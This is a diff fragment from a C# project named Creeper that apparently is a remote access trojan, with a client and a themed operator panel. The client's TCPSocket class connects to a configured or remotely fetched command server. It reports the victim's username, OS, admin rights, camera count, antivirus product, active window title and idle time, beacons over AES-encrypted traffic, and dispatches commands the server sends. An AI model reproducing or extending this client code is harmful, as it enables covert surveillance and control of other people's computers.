name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
|
@ -0,0 +1,50 @@
|
|||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// 此代码由工具生成。
|
||||
// 运行时版本:4.0.30319.42000
|
||||
//
|
||||
// 对此文件的更改可能会导致不正确的行为,并且如果
|
||||
// 重新生成代码,这些更改将会丢失。
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace Client.Properties {
|
||||
|
||||
|
||||
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "17.3.0.0")]
|
||||
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
|
||||
|
||||
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
|
||||
|
||||
public static Settings Default {
|
||||
get {
|
||||
return defaultInstance;
|
||||
}
|
||||
}
|
||||
|
||||
[global::System.Configuration.UserScopedSettingAttribute()]
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.Configuration.DefaultSettingValueAttribute("127.0.0.1")]
|
||||
public string Host {
|
||||
get {
|
||||
return ((string)(this["Host"]));
|
||||
}
|
||||
set {
|
||||
this["Host"] = value;
|
||||
}
|
||||
}
|
||||
|
||||
[global::System.Configuration.UserScopedSettingAttribute()]
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.Configuration.DefaultSettingValueAttribute("8848")]
|
||||
public string Ports {
|
||||
get {
|
||||
return ((string)(this["Ports"]));
|
||||
}
|
||||
set {
|
||||
this["Ports"] = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,12 @@
|
|||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" GeneratedClassNamespace="Client.Properties" GeneratedClassName="Settings">
|
||||
<Profiles />
|
||||
<Settings>
|
||||
<Setting Name="Host" Type="System.String" Scope="User">
|
||||
<Value Profile="(Default)">127.0.0.1</Value>
|
||||
</Setting>
|
||||
<Setting Name="Ports" Type="System.String" Scope="User">
|
||||
<Value Profile="(Default)">8848</Value>
|
||||
</Setting>
|
||||
</Settings>
|
||||
</SettingsFile>
|
|
@ -0,0 +1,310 @@
|
|||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Net.NetworkInformation;
|
||||
using System.Net.Sockets;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using AForge.Video.DirectShow;
|
||||
using Client.HandlePacket;
|
||||
using MessagePack;
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using Timer = System.Threading.Timer;
|
||||
|
||||
namespace Client
|
||||
{
|
||||
public class TCPSocket
|
||||
{
|
||||
public Socket Client { get; set; }
|
||||
private byte[] Buffer { get; set; }
|
||||
private long Buffersize { get; set; }
|
||||
private MemoryStream MS { get; set; }
|
||||
public bool IsConnected { get; set; }
|
||||
private object SendSync { get; } = new object();
|
||||
private Timer KeepAlive { get; set; }
|
||||
|
||||
public void InitializeClient() //Connect & reconnect
|
||||
{
|
||||
try
|
||||
{
|
||||
Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
||||
{
|
||||
ReceiveBufferSize = 50 * 1024,
|
||||
SendBufferSize = 50 * 1024
|
||||
};
|
||||
|
||||
if (string.IsNullOrEmpty(Program.Link))
|
||||
{
|
||||
if (IsValidDomainName(Program.Host))
|
||||
{
|
||||
var addresslist = Dns.GetHostAddresses(Program.Host);
|
||||
|
||||
foreach (var theaddress in addresslist)
|
||||
try
|
||||
{
|
||||
Client.Connect(theaddress, Program.Port);
|
||||
if (Client.Connected) break;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
//Debug.WriteLine(ex.Message);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Client.Connect(Program.Host, Program.Port);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
using (var wc = new WebClient())
|
||||
{
|
||||
var networkCredential = new NetworkCredential("", "");
|
||||
wc.Credentials = networkCredential;
|
||||
var resp = wc.DownloadString(Program.Link);
|
||||
var spl = resp.Split(new[] { ":" }, StringSplitOptions.None);
|
||||
Client.Connect(spl[0], Convert.ToInt32(spl[new Random().Next(1, spl.Length)]));
|
||||
}
|
||||
}
|
||||
|
||||
if (Client.Connected)
|
||||
{
|
||||
IsConnected = true;
|
||||
Buffer = new byte[4];
|
||||
MS = new MemoryStream();
|
||||
Send(SendInfo());
|
||||
KeepAlive = new Timer(KeepAlivePacket, null,
|
||||
new Random().Next(10 * 1000, 15 * 1000), new Random().Next(10 * 1000, 15 * 1000));
|
||||
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
||||
}
|
||||
else
|
||||
{
|
||||
IsConnected = false;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
//Debug.WriteLine(ex.Message);
|
||||
IsConnected = false;
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] SendInfo()
|
||||
{
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
|
||||
msgpack.ForcePathObject("HWID").AsString = Program.HWID;
|
||||
msgpack.ForcePathObject("User").AsString = Environment.UserName;
|
||||
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.Replace("Microsoft", null) + " " + (Helper.Helper.Is64Bit() ? "64bit" : "32bit");
|
||||
msgpack.ForcePathObject("Camera").AsString = new FilterInfoCollection(FilterCategory.VideoInputDevice).Count.ToString();
|
||||
msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName;
|
||||
msgpack.ForcePathObject("Version").AsString = Program.Version;
|
||||
msgpack.ForcePathObject("Admin").AsString = new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator) ? "Admin" : "User";
|
||||
msgpack.ForcePathObject("Active").AsString = Helper.Helper.GetActiveWindowTitle();
|
||||
msgpack.ForcePathObject("AV").AsString = Helper.Helper.GetAV();
|
||||
msgpack.ForcePathObject("Install-Time").AsString = new FileInfo(Process.GetCurrentProcess().MainModule.FileName.Trim().Replace("\"", "")).LastWriteTime.ToUniversalTime().ToString();
|
||||
msgpack.ForcePathObject("Group").AsString = Program.Group;
|
||||
msgpack.ForcePathObject("ClrVersion").AsInteger = Program.ClrVersion;
|
||||
return msgpack.Encode2Bytes();
|
||||
}
|
||||
|
||||
public static bool IsValidDomainName(string name)
|
||||
{
|
||||
return Uri.CheckHostName(name) != UriHostNameType.Unknown;
|
||||
}
|
||||
|
||||
public void Reconnect()
|
||||
{
|
||||
try
|
||||
{
|
||||
KeepAlive?.Dispose();
|
||||
if (Client != null) Client.Close();
|
||||
MS?.Dispose();
|
||||
}
|
||||
finally
|
||||
{
|
||||
InitializeClient();
|
||||
}
|
||||
}
|
||||
|
||||
public void CloseConnection()
|
||||
{
|
||||
try
|
||||
{
|
||||
KeepAlive?.Dispose();
|
||||
if (Client != null) Client.Close();
|
||||
MS?.Dispose();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public void ReadServertData(IAsyncResult ar)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!Client.Connected || !IsConnected)
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
|
||||
var recevied = Client.EndReceive(ar);
|
||||
if (recevied == 4)
|
||||
{
|
||||
MS.Write(Buffer, 0, recevied);
|
||||
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
if (Buffersize > 0)
|
||||
{
|
||||
Buffer = new byte[Buffersize];
|
||||
while (MS.Length != Buffersize)
|
||||
{
|
||||
var rc = Client.Receive(Buffer, 0, Buffer.Length, SocketFlags.None);
|
||||
if (rc == 0)
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
|
||||
MS.Write(Buffer, 0, rc);
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
}
|
||||
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
else
|
||||
{
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
}
|
||||
}
|
||||
|
||||
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
||||
}
|
||||
else
|
||||
{
|
||||
IsConnected = false;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
IsConnected = false;
|
||||
}
|
||||
}
|
||||
|
||||
public void Send(byte[] msg)
|
||||
{
|
||||
lock (SendSync)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!Client.Connected)
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
|
||||
if (msg == null) return;
|
||||
|
||||
var buffer = Helper.Helper.Aes.Encrypt(msg);
|
||||
var buffersize = BitConverter.GetBytes(buffer.Length);
|
||||
|
||||
Client.Poll(-1, SelectMode.SelectWrite);
|
||||
Client.Send(buffersize, 0, buffersize.Length, SocketFlags.None);
|
||||
//Client.Send(buffer, 0, buffer.Length, SocketFlags.None);
|
||||
int chunkSize = 50 * 1024;
|
||||
byte[] chunk = new byte[chunkSize];
|
||||
using (MemoryStream buffereReader = new MemoryStream(buffer))
|
||||
{
|
||||
BinaryReader binaryReader = new BinaryReader(buffereReader);
|
||||
int bytesToRead = (int)buffereReader.Length;
|
||||
do
|
||||
{
|
||||
chunk = binaryReader.ReadBytes(chunkSize);
|
||||
bytesToRead -= chunkSize;
|
||||
|
||||
Client.Send(chunk, 0, chunk.Length, SocketFlags.None);
|
||||
} while (bytesToRead > 0);
|
||||
|
||||
binaryReader.Close();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
IsConnected = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void KeepAlivePacket(object obj)
|
||||
{
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "ClientPing";
|
||||
msgpack.ForcePathObject("HWID").AsString = Program.HWID;
|
||||
msgpack.ForcePathObject("Message").AsString = Helper.Helper.GetActiveWindowTitle();
|
||||
msgpack.ForcePathObject("Roundtrip").AsString = pingRoundtrip().ToString();
|
||||
msgpack.ForcePathObject("LastInput").AsString = GetLastInputTime().ToString();
|
||||
Send(msgpack.Encode2Bytes());
|
||||
GC.Collect();
|
||||
}
|
||||
|
||||
public static long pingRoundtrip()
|
||||
{
|
||||
try
|
||||
{
|
||||
Ping pingSender = new Ping();
|
||||
string data = "Creeper_Awww_Man";
|
||||
byte[] buffer = Encoding.UTF8.GetBytes(data);
|
||||
int timeout = 1000;
|
||||
PingOptions options = new PingOptions(64, true);
|
||||
return pingSender.Send(Program.Host, timeout, buffer, options).RoundtripTime;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct LASTINPUTINFO
|
||||
{
|
||||
[MarshalAs(UnmanagedType.U4)]
|
||||
public int cbSize;
|
||||
[MarshalAs(UnmanagedType.U4)]
|
||||
public uint dwTime;
|
||||
}
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);
|
||||
private static long GetLastInputTime()
|
||||
{
|
||||
LASTINPUTINFO vLastInputInfo = new LASTINPUTINFO();
|
||||
vLastInputInfo.cbSize = Marshal.SizeOf(vLastInputInfo);
|
||||
if (!GetLastInputInfo(ref vLastInputInfo))
|
||||
return 0;
|
||||
else
|
||||
return Environment.TickCount - (long)vLastInputInfo.dwTime;
|
||||
}
|
||||
|
||||
public void Log(string message)
|
||||
{
|
||||
var msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Log";
|
||||
msgpack.ForcePathObject("Message").AsString = message;
|
||||
Send(msgpack.Encode2Bytes());
|
||||
GC.Collect();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,18 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<configSections>
|
||||
<sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
|
||||
<section name="Client.Properties.Settings" type="System.Configuration.ClientSettingsSection, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false"/>
|
||||
</sectionGroup>
|
||||
</configSections>
|
||||
<userSettings>
|
||||
<Client.Properties.Settings>
|
||||
<setting name="Host" serializeAs="String">
|
||||
<value>127.0.0.1</value>
|
||||
</setting>
|
||||
<setting name="Ports" serializeAs="String">
|
||||
<value>8848</value>
|
||||
</setting>
|
||||
</Client.Properties.Settings>
|
||||
</userSettings>
|
||||
<startup><supportedRuntime version="v2.0.50727"/></startup></configuration>
|
|
@ -0,0 +1,34 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.3.32901.215
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Client", "Client\Client.csproj", "{4DCE3248-0BAE-48E4-B165-A8A910BC7A96}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Creeper", "Creeper\Creeper.csproj", "{4E6526EE-E709-4C45-ADBF-7838E8D71A9B}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{4DCE3248-0BAE-48E4-B165-A8A910BC7A96} = {4DCE3248-0BAE-48E4-B165-A8A910BC7A96}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{4DCE3248-0BAE-48E4-B165-A8A910BC7A96}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{4DCE3248-0BAE-48E4-B165-A8A910BC7A96}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{4DCE3248-0BAE-48E4-B165-A8A910BC7A96}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{4DCE3248-0BAE-48E4-B165-A8A910BC7A96}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{4E6526EE-E709-4C45-ADBF-7838E8D71A9B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{4E6526EE-E709-4C45-ADBF-7838E8D71A9B}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{4E6526EE-E709-4C45-ADBF-7838E8D71A9B}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{4E6526EE-E709-4C45-ADBF-7838E8D71A9B}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {A34E992A-DF08-4FEE-9B7C-A5A0DCE14569}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -0,0 +1,64 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
|
||||
<configuration>
|
||||
<configSections>
|
||||
<sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
|
||||
<section name="Creeper.Properties.Settings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" />
|
||||
</sectionGroup>
|
||||
</configSections>
|
||||
<startup>
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
|
||||
</startup>
|
||||
<userSettings>
|
||||
<Creeper.Properties.Settings>
|
||||
<setting name="colorside" serializeAs="String">
|
||||
<value>Control</value>
|
||||
</setting>
|
||||
<setting name="colorsidedark" serializeAs="String">
|
||||
<value>45, 45, 48</value>
|
||||
</setting>
|
||||
<setting name="colortext" serializeAs="String">
|
||||
<value>81, 81, 81</value>
|
||||
</setting>
|
||||
<setting name="colortextdark" serializeAs="String">
|
||||
<value>240, 240, 240</value>
|
||||
</setting>
|
||||
<setting name="darkTheme" serializeAs="String">
|
||||
<value>False</value>
|
||||
</setting>
|
||||
<setting name="opacity" serializeAs="String">
|
||||
<value>97</value>
|
||||
</setting>
|
||||
<setting name="colorlistview" serializeAs="String">
|
||||
<value>White</value>
|
||||
</setting>
|
||||
<setting name="colorlistviewdark" serializeAs="String">
|
||||
<value>37, 37, 37</value>
|
||||
</setting>
|
||||
<setting name="colorlistviewtext" serializeAs="String">
|
||||
<value>Black</value>
|
||||
</setting>
|
||||
<setting name="colorlistviewtextdark" serializeAs="String">
|
||||
<value>White</value>
|
||||
</setting>
|
||||
<setting name="Port" serializeAs="String">
|
||||
<value>8848</value>
|
||||
</setting>
|
||||
<setting name="Chinese" serializeAs="String">
|
||||
<value>False</value>
|
||||
</setting>
|
||||
</Creeper.Properties.Settings>
|
||||
</userSettings>
|
||||
<runtime>
|
||||
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
|
||||
</dependentAssembly>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity name="System.Text.Json" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />
|
||||
<bindingRedirect oldVersion="0.0.0.0-6.0.0.1" newVersion="6.0.0.1" />
|
||||
</dependentAssembly>
|
||||
</assemblyBinding>
|
||||
</runtime>
|
||||
</configuration>
|
|
@ -0,0 +1,90 @@
|
|||
|
||||
using System.ComponentModel;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Creeper.ChildForms
|
||||
{
|
||||
partial class childFormAbout
|
||||
{
|
||||
/// <summary>
|
||||
/// Required designer variable.
|
||||
/// </summary>
|
||||
private IContainer components = null;
|
||||
|
||||
/// <summary>
|
||||
/// Clean up any resources being used.
|
||||
/// </summary>
|
||||
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && (components != null))
|
||||
{
|
||||
components.Dispose();
|
||||
}
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
#region Windows Form Designer generated code
|
||||
|
||||
/// <summary>
|
||||
/// Required method for Designer support - do not modify
|
||||
/// the contents of this method with the code editor.
|
||||
/// </summary>
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = new System.ComponentModel.Container();
|
||||
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(childFormAbout));
|
||||
this.updateUI = new System.Windows.Forms.Timer(this.components);
|
||||
this.panel = new System.Windows.Forms.Panel();
|
||||
this.label = new System.Windows.Forms.Label();
|
||||
this.pictureBox = new System.Windows.Forms.PictureBox();
|
||||
this.panel.SuspendLayout();
|
||||
((System.ComponentModel.ISupportInitialize)(this.pictureBox)).BeginInit();
|
||||
this.SuspendLayout();
|
||||
//
|
||||
// updateUI
|
||||
//
|
||||
this.updateUI.Enabled = true;
|
||||
this.updateUI.Interval = 1000;
|
||||
this.updateUI.Tick += new System.EventHandler(this.updateUI_Tick);
|
||||
//
|
||||
// panel
|
||||
//
|
||||
this.panel.Controls.Add(this.label);
|
||||
this.panel.Controls.Add(this.pictureBox);
|
||||
resources.ApplyResources(this.panel, "panel");
|
||||
this.panel.Name = "panel";
|
||||
//
|
||||
// label
|
||||
//
|
||||
resources.ApplyResources(this.label, "label");
|
||||
this.label.Name = "label";
|
||||
//
|
||||
// pictureBox
|
||||
//
|
||||
this.pictureBox.Image = global::Creeper.Properties.Resources.Creeper_dark;
|
||||
resources.ApplyResources(this.pictureBox, "pictureBox");
|
||||
this.pictureBox.Name = "pictureBox";
|
||||
this.pictureBox.TabStop = false;
|
||||
//
|
||||
// childFormAbout
|
||||
//
|
||||
resources.ApplyResources(this, "$this");
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.Controls.Add(this.panel);
|
||||
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
|
||||
this.Name = "childFormAbout";
|
||||
this.ShowInTaskbar = false;
|
||||
this.panel.ResumeLayout(false);
|
||||
((System.ComponentModel.ISupportInitialize)(this.pictureBox)).EndInit();
|
||||
this.ResumeLayout(false);
|
||||
|
||||
}
|
||||
|
||||
#endregion
|
||||
private Timer updateUI;
|
||||
private Panel panel;
|
||||
private Label label;
|
||||
private PictureBox pictureBox;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,38 @@
|
|||
using System;
|
||||
using System.Windows.Forms;
|
||||
using Creeper.Properties;
|
||||
|
||||
namespace Creeper.ChildForms
|
||||
{
|
||||
public partial class childFormAbout : Form
|
||||
{
|
||||
public childFormAbout()
|
||||
{
|
||||
InitializeComponent();
|
||||
SetTheme();
|
||||
}
|
||||
|
||||
private bool previoustheme;
|
||||
|
||||
private void updateUI_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (previoustheme != Settings.Default.darkTheme)
|
||||
{
|
||||
previoustheme = Settings.Default.darkTheme;
|
||||
SetTheme();
|
||||
}
|
||||
}
|
||||
|
||||
private void SetTheme()
|
||||
{
|
||||
var darkTheme = Settings.Default.darkTheme;
|
||||
|
||||
var colorSide = darkTheme ? Settings.Default.colorsidedark : Settings.Default.colorside;
|
||||
var colorText = darkTheme ? Settings.Default.colortextdark : Settings.Default.colortext;
|
||||
|
||||
BackColor = colorSide;
|
||||
ForeColor = colorText;
|
||||
pictureBox.Image = darkTheme ? Resources.Creeper : Resources.Creeper_dark;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,239 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
